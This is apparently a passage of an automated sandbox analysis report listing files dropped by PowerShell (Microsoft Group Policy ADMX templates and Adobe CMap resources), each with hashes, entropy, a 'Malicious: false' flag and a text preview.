SSDEEP:	96:QeD/mD5NovKnKL5Ijw4k12aI0dE6wHdd1ilPq:vYb6V4kW1H/0i
MD5:	99C0E5F09E95743EA9C0A3A6971F298A
SHA1:	48493137D9300B33B13F09730F9AF4908481A63C
SHA-256:	DADCF29EC6BEC77A29A5B7836228F91BD5FAEF58D54AEEF851B524593B1CD1C6
SHA-512:	8C70F299FFD211A5FD2F5BD42776864A370CDBEBA175FDC67492BB384DD481FD78475351E082F893E33B2D3764BDD31089709F48BC09242B146E926A88A2B20C
Malicious:	false
Preview:	.<?xml version="1.0" encoding="utf-8"?>.. (c) 2006 Microsoft Corporation -->..<policyDefinitions xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" revision="1.0" schemaVersion="1.0" xmlns="http://schemas.microsoft.com/GroupPolicy/2006/07/PolicyDefinitions">.. <policyNamespaces>.. <target prefix="autoplay" namespace="Microsoft.Policies.AutoPlay" />.. <using prefix="windows" namespace="Microsoft.Policies.Windows" />.. </policyNamespaces>.. <resources minRequiredRevision="1.0" />.. <categories>.. <category name="AutoPlay" displayName="$(string.AutoPlay)" explainText="$(string.AutoPlay_Help)">.. <parentCategory ref="windows:WindowsComponents" />.. </category>.. </categories>.. <policies>.. <policy name="NoAutorun" class="Both" displayName="$(string.NoAutorun)" explainText="$(string.NoAutorun_Help)" presentation="$(presentation.NoAutorun)" key="Software\Microsoft\Windows\CurrentVersion\Policies\Explorer">..

C:\Users\user\AppData\Local\Temp\file\Resource\Biometrics.admx

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	XML 1.0 document, Unicode text, UTF-8 (with BOM) text, with CRLF line terminators
Category:	dropped
Size (bytes):	2968
Entropy (8bit):	5.131674850415743
Encrypted:	false
SSDEEP:	48:3dDw08gmDjfzofHKnKvMQ5nvPuLdIRdGO83PClLdIRdqKI3PClMLdIRdduPCtdI5:tD/mDj7ovKnKB5vPuGde3PClGdq3PCl6
MD5:	4477D655300DCEC702C8A5306F52BBF0
SHA1:	C67A8E0D322DC3733D4973A88836462FB4A60939
SHA-256:	DB3071F9B86AE33E84FC2BAB130A139AB9E251BBFA0F25C25486F6004D23AF8E
SHA-512:	AD6D73E781BAA0CE97D91C18E650B362EBDA36B968882CAA33D562E59E635F84845BAE10AED0B4AAF72FB514E41B718FFD430675F6ECDFE29BD102A72162489D
Malicious:	false
Preview:	.<?xml version="1.0" encoding="utf-8"?>.. (c) 2008 Microsoft Corporation -->..<policyDefinitions xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" revision="1.0" schemaVersion="1.0" xmlns="http://schemas.microsoft.com/GroupPolicy/2006/07/PolicyDefinitions">.. <policyNamespaces>.. <target prefix="biometrics" namespace="Microsoft.Policies.Biometrics" />.. <using prefix="windows" namespace="Microsoft.Policies.Windows" />.. </policyNamespaces>.. <resources minRequiredRevision="1.0" />.. <categories>.. <category name="BiometricsConfiguration" displayName="$(string.BiometricsConfiguration)">.. <parentCategory ref="windows:WindowsComponents" />.. </category>.. </categories>.. <policies>.. <policy name="Biometrics_EnableBio" class="Machine" displayName="$(string.Biometrics_EnableBio)" explainText="$(string.Biometrics_EnableBio_Help)" key="SOFTWARE\Policies\Microsoft\Biometrics" valueName="Enabled">.. <par

C:\Users\user\AppData\Local\Temp\file\Resource\Bits.admx

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	XML 1.0 document, Unicode text, UTF-8 (with BOM) text, with very long lines (341), with CRLF line terminators
Category:	dropped
Size (bytes):	56679
Entropy (8bit):	4.649033917052754
Encrypted:	false
SSDEEP:	384:F7MCt14fWPbkSpqAqLFo/8AkV+dkz4txZmVq3Oul3kykVodU5v+lDObcMeHOg6oM:FYCH6EEC4+SI/leoJOg4TYvSwR24M+gJ
MD5:	4139F3F98C51BCD0ED900F0FFFCD56C0
SHA1:	E468204F6838B66915E507644F6F8BF33AF4075B
SHA-256:	12EB39EB439075195C6B458CFF074D07383791610A8B4B62911944A4D3E19698
SHA-512:	153C36C6FB52F41EBE99355ED9AA78B8AFCE4CC08078E956CBD68728326021DA89B3F2B95CA8091D098B09DD6C95D8FF6B73C662ABC2B993E412C336A3003BAB
Malicious:	false
Preview:	.<?xml version="1.0" encoding="utf-8"?>.. (c) 2006 Microsoft Corporation -->..<policyDefinitions xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance".. revision="1.2" schemaVersion="1.0" xmlns="http://schemas.microsoft.com/GroupPolicy/2006/07/PolicyDefinitions">.. <policyNamespaces>.. <target prefix="bits" namespace="Microsoft.Policies.BITS" />.. <using prefix="windows" namespace="Microsoft.Policies.Windows" />.. <using prefix="products" namespace="Microsoft.Policies.Products" />.. </policyNamespaces>.. <resources minRequiredRevision="1.2" />.... <supportedOn>.. <definitions>.. Windows XP or Windows Server 2003, or computers with BITS 1.5 installed.-->.. <definition name="SUPPORTED_WindowsXPWindowsNETorBITS15" displayName="$(string.SUPPORTED_WindowsXPWindowsNETorBITS15)">.. <or>.. <reference ref="windows:SUPPORTED_WindowsNET_XP"/>.. <reference ref="products:BIT

C:\Users\user\AppData\Local\Temp\file\Resource\CEIPEnable.admx

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	XML 1.0 document, Unicode text, UTF-8 (with BOM) text, with CRLF line terminators
Category:	dropped
Size (bytes):	1749
Entropy (8bit):	5.220457282528206
Encrypted:	false
SSDEEP:	48:3geDw08gmD9sfQofHKnKcQ5MkTdpwkdXGhRceudpwhzIC:QeD/mDu4ovKnKJ5bnwkdXbegwhzIC
MD5:	3360B68B429776B19A070725365D776E
SHA1:	EA13FA9CC34BC0BAB5448757CDF5A0929AA1DB68
SHA-256:	EC3A99EEDF207B7471485EB0F7583CF1FFE009D0BD3D968441F0EB8559FAEF0F
SHA-512:	B3A1DF204A4BFE544FADA708EBD1AEFE542B810AE8E2AACE3CD48A0CBBB97261BAE8CC516666CDD4AE503810F83AAFD414265C063DFC86884C7A287BD9DD354B
Malicious:	false
Preview:	.<?xml version="1.0" encoding="utf-8"?>.. (c) 2006 Microsoft Corporation -->..<policyDefinitions xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" revision="1.0" schemaVersion="1.0" xmlns="http://schemas.microsoft.com/GroupPolicy/2006/07/PolicyDefinitions">.. <policyNamespaces>.. <target prefix="ceipenable" namespace="Microsoft.Policies.CustomerExperienceProgram" />.. <using prefix="windows" namespace="Microsoft.Policies.Windows" />.. </policyNamespaces>.. <resources minRequiredRevision="1.0" />.. <categories>.. <category name="WindowsCEIPCat" displayName="$(string.WindowsCEIPCat)">.. <parentCategory ref="windows:WindowsComponents" />.. </category>.. </categories>.. <policies>.. <policy name="CorporateSQM" class="Machine" displayName="$(string.CorporateSQM)" explainText="$(string.CorporateSQMExp)" presentation="$(presentation.CorporateSQM)" key="Software\Policies\Microsoft\SQMClient">.. <parentCateg

C:\Users\user\AppData\Local\Temp\file\Resource\CMap\Identity-H

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	PostScript document text conforming DSC level 3.0
Category:	dropped
Size (bytes):	8228
Entropy (8bit):	5.132524855127476
Encrypted:	false
SSDEEP:	192:QJeSrsQrsil/3gU+uSpo4cvkikNwA+KZwOyKXuU8fy:QJhrsQrsWPsu+oVkEKZnNz8fy
MD5:	40F5DC1383E3E8F870ED8F763ED51878
SHA1:	474A429DE3B9FEBA36CFA4CE4EDCD4FAE3CDDC5B
SHA-256:	AAE946BC17203B5DF12838D07AE5CAFC9E85A1D42D1B94D8475AB2D42B77A5CB
SHA-512:	69B6D3AF2CCAAE9437FE4E0206C44D29EC7A51F39334826737907E1126505071BA888F4134DE55A07CF14256B47DAF6D29CC73BAB60F3C6CD7D8BB30E24778FB
Malicious:	false
Preview:	%!PS-Adobe-3.0 Resource-CMap..%%DocumentNeededResources: ProcSet (CIDInit)..%%IncludeResource: ProcSet (CIDInit)..%%BeginResource: CMap (Identity-H)..%%Title: (Identity-H Adobe Identity 0)..%%Version: 10.001..%%Copyright: -----------------------------------------------------------..%%Copyright: Copyright 1990-2009 Adobe Systems Incorporated...%%Copyright: All rights reserved...%%Copyright:..%%Copyright: Redistribution and use in source and binary forms, with or..%%Copyright: without modification, are permitted provided that the..%%Copyright: following conditions are met:..%%Copyright:..%%Copyright: Redistributions of source code must retain the above..%%Copyright: copyright notice, this list of conditions and the following..%%Copyright: disclaimer...%%Copyright:..%%Copyright: Redistributions in binary form must reproduce the above..%%Copyright: copyright notice, this list of conditions and the following..%%Copyright: disclaimer in the documentation and/or other materials..%%Copyright:

C:\Users\user\AppData\Local\Temp\file\Resource\CMap\Identity-V

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	PostScript document text conforming DSC level 3.0
Category:	dropped
Size (bytes):	2761
Entropy (8bit):	5.338925731793176
Encrypted:	false
SSDEEP:	48:7alblVd2UZOSrYJQrYJLL4dhPn/32sNGFt3Ehov1JTYHeGTy9UWT/D/:QJVd2UMSrYJQrYJLWl/3gF9M+uy9Uk/
MD5:	B5084CBF0AB0C3DEAC97E06CD3CB2ECC
SHA1:	C32458CDA1951CECFFB69AA2F7E3A1EA8BF36251
SHA-256:	7483DB44E4449A7AE232B30D6CBA0D8746592757D0E91BE82EC45B646C608807
SHA-512:	B15F65A2AB21121A4B815932A7E2DCAFCF27F458BCE532AE46BBCBD6B1134153027BF3E138FAB42457A89BC892256B4796BBB9F1E3A85F9F4C5202015B56E3A5
Malicious:	false
Preview:	%!PS-Adobe-3.0 Resource-CMap..%%DocumentNeededResources: ProcSet (CIDInit)..%%IncludeResource: ProcSet (CIDInit)..%%BeginResource: CMap (Identity-V)..%%Title: (Identity-V Adobe Identity 0)..%%Version: 10.001..%%Copyright: -----------------------------------------------------------..%%Copyright: Copyright 1990-2009 Adobe Systems Incorporated...%%Copyright: All rights reserved...%%Copyright:..%%Copyright: Redistribution and use in source and binary forms, with or..%%Copyright: without modification, are permitted provided that the..%%Copyright: following conditions are met:..%%Copyright:..%%Copyright: Redistributions of source code must retain the above..%%Copyright: copyright notice, this list of conditions and the following..%%Copyright: disclaimer...%%Copyright:..%%Copyright: Redistributions in binary form must reproduce the above..%%Copyright: copyright notice, this list of conditions and the following..%%Copyright: disclaimer in the documentation and/or other materials..%%Copyright:

C:\Users\user\AppData\Local\Temp\file\Resource\CMap\UCS2-GBK-EUC

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	PostScript document text conforming DSC level 3.0
Category:	dropped
Size (bytes):	243835
Entropy (8bit):	4.336925781445846
Encrypted:	false
SSDEEP:	6144:JAYrjXraHOiu06s7SSC2RGaC4J7G27r7Sbtg2j35GEE9:JAYrj7aHOip6rShXC4J7G27r7Sbtg2j0
MD5:	FB9D6CD4449EC7478EE8AD1BD7465BF5
SHA1:	3D42495890E0F2ACC6B564EAA79FE020FDD2FC79
SHA-256:	66CDCAED3AA94525C59A82A39A93B96885883BFFADEA1E572464D559D21443A6
SHA-512:	259467113CDA70BA8D399E233BEF8A718F76BC6B977AC54C216BD53796A8003E7A7276031388E282F1F4430FC2FCD269B06341F2082A9442A65BBCCDEB767EB1
Malicious:	false
Preview:	%!PS-Adobe-3.0 Resource-CMap..%%DocumentNeededResources: ProcSet (CIDInit)..%%IncludeResource: ProcSet (CIDInit)..%%BeginResource: CMap (UCS2-GBK-EUC)..%%Title: (UCS2-GBK-EUC)..%%Version: 4.002..%%Copyright: -----------------------------------------------------------..%%Copyright:..%%Copyright: Copyright 1990-2002 Adobe Systems Incorporated. All Rights Reserved...%%Copyright:..%%Copyright: PostScript and Display PostScript are trademarks of..%%Copyright: Adobe Systems Incorporated which may be registered in..%%Copyright: certain jurisdictions...%%Copyright: -----------------------------------------------------------..%%..%% This is not a CMap file. This file is intended to be used by Adobe Acrobat or..%% licensee of the Adobe PDF Library...%%EndComments..../CIDInit /ProcSet findresource begin....12 dict begin....begincmap..../CIDSystemInfo 3 dict dup begin.. /Registry (Adobe) def.. /Ordering (UCS2_GBK_EUC) def.. /Supplement 2 def..end def..../CMapName /UCS2-GBK-EUC def../CMapVersion

C:\Users\user\AppData\Local\Temp\file\Resource\CMap\UniKS-UTF16-H

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	PostScript document text conforming DSC level 3.0
Category:	dropped
Size (bytes):	131902
Entropy (8bit):	4.421890291466171
Encrypted:	false
SSDEEP:	3072:EbOks6xITS4gmLJpAEhFDDvBB4TS+JjXsc:jjTvIN3
MD5:	F65C06189A55139E13885D9716BFE35C
SHA1:	394285FED905D0F4C2C21230DA50626B0A31A037
SHA-256:	AB87D320C81E4C761B7A4CBD342E212DB4EBE169B5D10848F2F57D828874E342
SHA-512:	CAF07D2623861F60D79ACFB313978B89F9CD8FEEA0BED0FE28D25286D197B62B9EF9A41130586D731DC43AEAE817EAAA87C9CAC31D9BD1FDB82591146E0FA2CB
Malicious:	false
Preview:	%!PS-Adobe-3.0 Resource-CMap..%%DocumentNeededResources: ProcSet (CIDInit)..%%IncludeResource: ProcSet (CIDInit)..%%BeginResource: CMap (UniKS-UTF16-H)..%%Title: (UniKS-UTF16-H Adobe Korea1 1)..%%Version: 1.005..%%Copyright: -----------------------------------------------------------..%%Copyright: Copyright 1990-2012 Adobe Systems Incorporated...%%Copyright: All rights reserved...%%Copyright:..%%Copyright: Redistribution and use in source and binary forms, with or..%%Copyright: without modification, are permitted provided that the..%%Copyright: following conditions are met:..%%Copyright:..%%Copyright: Redistributions of source code must retain the above..%%Copyright: copyright notice, this list of conditions and the following..%%Copyright: disclaimer...%%Copyright:..%%Copyright: Redistributions in binary form must reproduce the above..%%Copyright: copyright notice, this list of conditions and the following..%%Copyright: disclaimer in the documentation and/or other materials..%%Copyrigh

C:\Users\user\AppData\Local\Temp\file\Resource\CMap\UniKS-UTF16-V

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	PostScript document text conforming DSC level 3.0
Category:	dropped
Size (bytes):	3198
Entropy (8bit):	5.524396355467385
Encrypted:	false
SSDEEP:	96:Qdu2JMSrYJQrYJLWl/3gF9M+uyu5UV3tNmc/:QdiSrsQrsil/3gU+uF549NmU
MD5:	ABA47550AFFB435A1DCC6B70EFAB5B52
SHA1:	754168E2C3B58FCFCB57B3ECF5CA5EEBDDFA1F47
SHA-256:	7E403DAE40DF21FE3F9B221F7CE750F7F5BFF9CC73D82D011C4BCC48A0DB60ED
SHA-512:	D46537B67EF7137FC0B715E43F23322DD1189DB352235A4A5AD89CB6AF3D3FECAA51C1C93DCEA2A7E8FB8D25B18C3B0F2AB2F23DF7A5A76126A47389FFAC00B2
Malicious:	false
Preview:	%!PS-Adobe-3.0 Resource-CMap..%%DocumentNeededResources: ProcSet (CIDInit)..%%DocumentNeededResources: CMap (UniKS-UTF16-H)..%%IncludeResource: ProcSet (CIDInit)..%%IncludeResource: CMap (UniKS-UTF16-H)..%%BeginResource: CMap (UniKS-UTF16-V)..%%Title: (UniKS-UTF16-V Adobe Korea1 1)..%%Version: 1.002..%%Copyright: -----------------------------------------------------------..%%Copyright: Copyright 1990-2009 Adobe Systems Incorporated...%%Copyright: All rights reserved...%%Copyright:..%%Copyright: Redistribution and use in source and binary forms, with or..%%Copyright: without modification, are permitted provided that the..%%Copyright: following conditions are met:..%%Copyright:..%%Copyright: Redistributions of source code must retain the above..%%Copyright: copyright notice, this list of conditions and the following..%%Copyright: disclaimer...%%Copyright:..%%Copyright: Redistributions in binary form must reproduce the above..%%Copyright: copyright notice, this list of conditions and the

C:\Users\user\AppData\Local\Temp\file\Resource\COM.admx

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	XML 1.0 document, Unicode text, UTF-8 (with BOM) text, with CRLF line terminators
Category:	dropped
Size (bytes):	1329
Entropy (8bit):	5.360891882439581
Encrypted:	false
SSDEEP:	24:JdgeDwjo8gWt4+3FpKtyC6f/0s6fE3+ZKjcpLdCGVh8C9/pIZdCGVh8C9Q:3geDw08gmD9Hf/ofT5/j8C9/W7j8C9Q
MD5:	9C0A8BAAD6945DCB12CEA12782C999DB
SHA1:	317495F2FF5982C714D6961D828B3D4ED81D9E93
SHA-256:	8BD010FB4A3C0DBCF88D55D2A1E68F46298655CDBB6AF5040E17D023E8E12961
SHA-512:	B50B299CFE21BBAD4282F7B0ED5D65EAA0C182B2CD1BF41DFBC6362D29CE04217B42C11255A67FA757A91DB9CAEFA89CF708C04CF46377FD261868D1612EBF89
Malicious:	false
Preview:	.<?xml version="1.0" encoding="utf-8"?>.. (c) 2006 Microsoft Corporation -->..<policyDefinitions xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" revision="1.0" schemaVersion="1.0" xmlns="http://schemas.microsoft.com/GroupPolicy/2006/07/PolicyDefinitions">.. <policyNamespaces>.. <target prefix="com" namespace="Microsoft.Policies.COM" />.. <using prefix="windows" namespace="Microsoft.Policies.Windows" />.. </policyNamespaces>.. <resources minRequiredRevision="1.0" />.. <policies>.. <policy name="AppMgmt_COM_SearchForCLSID_1" class="User" displayName="$(string.AppMgmt_COM_SearchForCLSID)" explainText="$(string.AppMgmt_COM_SearchForCLSID_Help)" key="Software\Policies\Microsoft\Windows\App Management" valueName="COMClassStore">.. <parentCategory ref="windows:System" />.. <supportedOn ref="windows:SUPPORTED_Win2k" />.. </policy>.. <policy name="AppMgmt_COM_SearchForCLSID_2" class="Machine" displayName="$(

C:\Users\user\AppData\Local\Temp\file\Resource\CipherSuiteOrder.admx

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	XML 1.0 document, Unicode text, UTF-8 (with BOM) text, with CRLF line terminators
Category:	dropped
Size (bytes):	1361
Entropy (8bit):	5.210577733754264
Encrypted:	false
SSDEEP:	24:JdgeDwjo8gWt4+3FpKty3l6fA0s6fE3+MK9lKUzDoinXmPhp8gGtLuQVqKzIeywn:3geDw08gmD934fAofKKnKUzVC5CVqKzx
MD5:	C7A92A7F280CE7CC1544B4D88D6E0ECA
SHA1:	F34588E56C0654B5CEDC56122EE82B4C180C06DE
SHA-256:	3C33417B0F88ADD2FE5F6EB0A84CF8C9B7C901A3D2B2141F6EDABEA29A3A4FEC
SHA-512:	1BAA550ADAC03D34431384B95EDD888407F37679DCFC634A67364E5023C8884BD0E3F3D0D0F3EECF6DB3CBCFDBE5D3100B1A252BD39169FB20EAB001AA9B3FDB
Malicious:	false
Preview:	.<?xml version="1.0" encoding="utf-8"?>.. (c) 2006 Microsoft Corporation -->..<policyDefinitions xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" revision="1.0" schemaVersion="1.0" xmlns="http://schemas.microsoft.com/GroupPolicy/2006/07/PolicyDefinitions">.. <policyNamespaces>.. <target prefix="cypherstrength" namespace="Microsoft.Policies.CypherStrength" />.. <using prefix="windows" namespace="Microsoft.Policies.Windows" />.. </policyNamespaces>.. <resources minRequiredRevision="1.0" />.. .. <categories>.. <category name="SSLConfiguration" displayName="$(string.SSLConfiguration)">.. <parentCategory ref="windows:Network" />.. </category>.. </categories>.. .. <policies>.... Example policy setting with EditText-->.. <policy name="SSLCipherSuiteOrder" class="Machine" displayName="$(string.SSLCipherSuiteOrder)" explainText="$(string.SSLCipherSuiteOrder_Help)" presentation="$(presentation.SSLCiphe

C:\Users\user\AppData\Local\Temp\file\Resource\Conf.admx

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	XML 1.0 document, Unicode text, UTF-8 (with BOM) text, with CRLF line terminators
Category:	dropped
Size (bytes):	13967
Entropy (8bit):	5.098137720812558
Encrypted:	false
SSDEEP:	384:kFpdiM7YHKDBQAAsvVFjV5r1asrGGY8/ZoizEkQae+e6TvWLRqjow5XsO:RZobFfemOtql
MD5:	82A127FAFCE34ACE4D2E18757D99D54B
SHA1:	7C11E69BF3F2CFCFEB4E245D13DA04F0552EE50B
SHA-256:	5349E6E1009AF94B7A2514AF9E0A8297071ECC681289BF849D7F6C365C820371
SHA-512:	B8A1283FA9F0E0CBC0D9B5F9C408DE8CD821702BB78E0E969CF4443026D26248DD32F14C3DCF55F3D2A29A74F31619630F1511AE8A8E814AE87B72E1A713A2F2
Malicious:	false
Preview:	.<?xml version="1.0" encoding="utf-8"?>.. (c) 2006 Microsoft Corporation -->..<policyDefinitions xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance".. revision="1.1" schemaVersion="1.0" xmlns="http://schemas.microsoft.com/GroupPolicy/2006/07/PolicyDefinitions">.. <policyNamespaces>.. <target prefix="conf" namespace="Microsoft.Policies.NetMeeting" />.. <using prefix="windows" namespace="Microsoft.Policies.Windows" />.. <using prefix="products" namespace="Microsoft.Policies.Products" />.. </policyNamespaces>.. <supersededAdm fileName="conf.adm" />.. <resources minRequiredRevision="1.0" />.. .. <supportedOn>.. <definitions>.. at least Windows NetMeeting v3.0-->.. <definition name="SUPPORTED_NetMeeting3" displayName="$(string.SUPPORTED_NetMeeting3)">.. <or>.. <range ref="products:NetMeeting" minVersionIndex="3" />.. </or>.. </definition>.. </definitions>..

C:\Users\user\AppData\Local\Temp\file\Resource\ControlPanel.admx

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	XML 1.0 document, Unicode text, UTF-8 (with BOM) text, with CRLF line terminators
Category:	dropped
Size (bytes):	2600
Entropy (8bit):	5.10557157797632
Encrypted:	false
SSDEEP:	48:3geDw08gmD9XfhofT5zBP2/PIAdowJVOW1eI6dmdEIUd/YPIbdowcONC:QeD/mD1po752IZwzOW1eIrdEIYqImwct
MD5:	55C232A1F1E28A13BDECE35CB91475FD
SHA1:	BB45602A3D8A039B10D5F85DE59A75A67C9E59F5
SHA-256:	B82D3B7A78188866981C9BC730D9C948ABBCFD5D7F308F2BDFE5DC336DA3ED45
SHA-512:	12E8D013273A8F38C7E47CCF34E2C5715F38225674578A0C05A61D91F814395804556CBC0957DE2B7EABB78F6AA9685BCF9037836738BDE4157C9BA7AF244BDD
Malicious:	false
Preview:	.<?xml version="1.0" encoding="utf-8"?>.. (c) 2006 Microsoft Corporation -->..<policyDefinitions xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" revision="1.0" schemaVersion="1.0" xmlns="http://schemas.microsoft.com/GroupPolicy/2006/07/PolicyDefinitions">.. <policyNamespaces>.. <target prefix="controlpanel" namespace="Microsoft.Policies.ControlPanel" />.. <using prefix="windows" namespace="Microsoft.Policies.Windows" />.. </policyNamespaces>.. <resources minRequiredRevision="1.0" />.. <policies>.. <policy name="DisallowCpls" class="User" displayName="$(string.DisallowCpls)" explainText="$(string.DisallowCpls_Help)" presentation="$(presentation.DisallowCpls)" key="Software\Microsoft\Windows\CurrentVersion\Policies\Explorer" valueName="DisallowCpl">.. <parentCategory ref="windows:ControlPanel" />.. <supportedOn ref="windows:SUPPORTED_Win2k" />.. <elements>.. <list id="DisallowCplsList" key="Soft

C:\Users\user\AppData\Local\Temp\file\Resource\ControlPanelDisplay.admx

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	XML 1.0 document, Unicode text, UTF-8 (with BOM) text, with CRLF line terminators
Category:	dropped
Size (bytes):	14442
Entropy (8bit):	4.982067975645745
Encrypted:	false
SSDEEP:	384:Z96Fhm1nRUOxrlAikOgH1JNpfjzGf5BSkypKajb1P7TmbuC:5R1ZcryRnK1jyCC
MD5:	23C09EFF5EE9481AEE2156D2195E47F8
SHA1:	391AB345F9A461346C129F29C01501FC4B7E11F3
SHA-256:	AF375FD76DBE159680B7DD6B3950FCFFE89AB0F5196FD308AC8A6936B946B00F
SHA-512:	70A0B165A73417FE253BB4B5B7D449AA3716C71339E560C3970003F80D16A4A22F468412FECA41EB761E177AC0DE640795EAC45F58C943C42F4D4601A6B01EA5
Malicious:	false
Preview:	.<?xml version="1.0" encoding="utf-8"?>..<policyDefinitions xmlns:xsd="http://www.w3.org/2001/XMLSchema".. xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance".. revision="1.0" schemaVersion="1.0".. xmlns="http://schemas.microsoft.com/GroupPolicy/2006/07/PolicyDefinitions">.. <policyNamespaces>.. <target prefix="controlpaneldisplay" namespace="Microsoft.Policies.ControlPanelDisplay" />.. <using prefix="windows" namespace="Microsoft.Policies.Windows" />.. </policyNamespaces>.. <resources minRequiredRevision="1.0" />.. <categories>.. <category name="Display" displayName="$(string.Display)">.. <parentCategory ref="windows:ControlPanel" />.. </category>.. <category name="Personalization" displayName="$(string.Personalization)">.. <parentCategory ref="windows:ControlPanel" />.. </category>.. </categories>.. <policies>.. Display CPL -->.. <policy name="CPL_Display_Disable" class="User"..

C:\Users\user\AppData\Local\Temp\file\Resource\Cpls.admx

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	XML 1.0 document, Unicode text, UTF-8 (with BOM) text, with CRLF line terminators
Category:	dropped
Size (bytes):	1293
Entropy (8bit):	5.152610499195081
Encrypted:	false
SSDEEP:	24:JdgeDwjo8gWt4+3FpKtyV6fQi0s6fE3+dK9lK1F9upKjcp1CowV18jSfBe++2hJq:3geDw08gmD9IfzofHKnK9W5+ZIGfBhq
MD5:	D02917E78F1B9741E0324184F2141D70
SHA1:	94BA3EE688F09EF2661F2A3A6A3F1931A6C83D8A
SHA-256:	BAF7ECADE873F8252D748C23616F25585965266A0C9EA0627A8963CB5969F67D
SHA-512:	430313A4D22C964BF03D0474CFBE405F7DC6F4185BBB4501E19F360AD0A55B90D485A53F82B9EA51026117566043822221C52ECB334111E1BF13B90207F11ED5
Malicious:	false
Preview:	.<?xml version="1.0" encoding="utf-8"?>.. (c) 2006 Microsoft Corporation -->..<policyDefinitions xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" revision="1.0" schemaVersion="1.0" xmlns="http://schemas.microsoft.com/GroupPolicy/2006/07/PolicyDefinitions">.. <policyNamespaces>.. <target prefix="cpls" namespace="Microsoft.Policies.ControlPanel2" />.. <using prefix="windows" namespace="Microsoft.Policies.Windows" />.. </policyNamespaces>.. <resources minRequiredRevision="1.0" />.. <categories>.. <category name="Users" displayName="$(string.Users)" explainText="$(string.Users_Help)">.. <parentCategory ref="windows:ControlPanel" />.. </category>.. </categories>.. <policies>.. <policy name="UseDefaultTile" class="Machine" displayName="$(string.UseDefaultTile)" explainText="$(string.UseDefaultTile_Help)" key="Software\Microsoft\Windows\CurrentVersion\Policies\Explorer" valueName="UseDefaultTile">.. <pare

C:\Users\user\AppData\Local\Temp\file\Resource\CredSsp.admx

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	XML 1.0 document, Unicode text, UTF-8 (with BOM) text, with very long lines (368), with CRLF line terminators
Category:	dropped
Size (bytes):	12449
Entropy (8bit):	4.852083577860779
Encrypted:	false
SSDEEP:	384:lYb1mXVJCmDDtymXELfmHG+3mjJ6emRH4WmxE6Rm5hfsmZIiYKC:eglZ3pUim3VaBSGrHx7ZC
MD5:	A64D7915DCC7B455E17EBDB1A59AB9A2
SHA1:	89009F29C53D6F52A91B34DEA7145DF4CA676C71
SHA-256:	BEE7D13B033EB4B0F9ADCCDE362DEA3C9A0F6A78745F40E85FBFE954564ABE88
SHA-512:	B2B2F0687BF80C58ACA5B97AE81C08D119C145937CDE8F3E2CD8427804CDE23B0F80088F261FEFE842E3F503CCF1BE98FC8257BC82EE125CAF9C8173BF87082B
Malicious:	false
Preview:	.<?xml version="1.0" encoding="utf-8"?>.. (c) 2006 Microsoft Corporation -->..<policyDefinitions xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" revision="1.0" schemaVersion="1.0" xmlns="http://schemas.microsoft.com/GroupPolicy/2006/07/PolicyDefinitions">.. <policyNamespaces>.. <target prefix="credssp" namespace="Microsoft.Policies.CredentialsSSP" />.. <using prefix="windows" namespace="Microsoft.Policies.Windows" />.. </policyNamespaces>.. <resources minRequiredRevision="1.0" />.. <categories>.. <category name="CredentialsDelegation" displayName="$(string.CredentialsDelegation)">.. <parentCategory ref="windows:System" />.. </category>.. </categories>.. <policies>.. <policy name="AllowDefaultCredentials" class="Machine" displayName="$(string.AllowDefaultCredentials)" explainText="$(string.AllowDefaultCredentials_Explain)" presentation="$(presentation.AllowDefaultCredentials)" key="Software\Policies\Mic

C:\Users\user\AppData\Local\Temp\file\Resource\CredUI.admx

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	XML 1.0 document, Unicode text, UTF-8 (with BOM) text, with CRLF line terminators
Category:	dropped
Size (bytes):	2254
Entropy (8bit):	5.1667101842062
Encrypted:	false
SSDEEP:	48:3geDw08gmD9AfOwQofHKnK4oQ5mDUDU7hufhd3DvXhZfMTqEmfYq:QeD/mD2GwQovKnKS5B47hIdbhS2Ehq
MD5:	74E5A031B42CF1D268EDE3B675234A38
SHA1:	C713C3CFFE727E0B9DF57A3C34E775B3F2CE51AC
SHA-256:	B3708A1B26DE928D8700D4FBD9DB6F7EEA79F0A6E05A5A0929350579494017CC
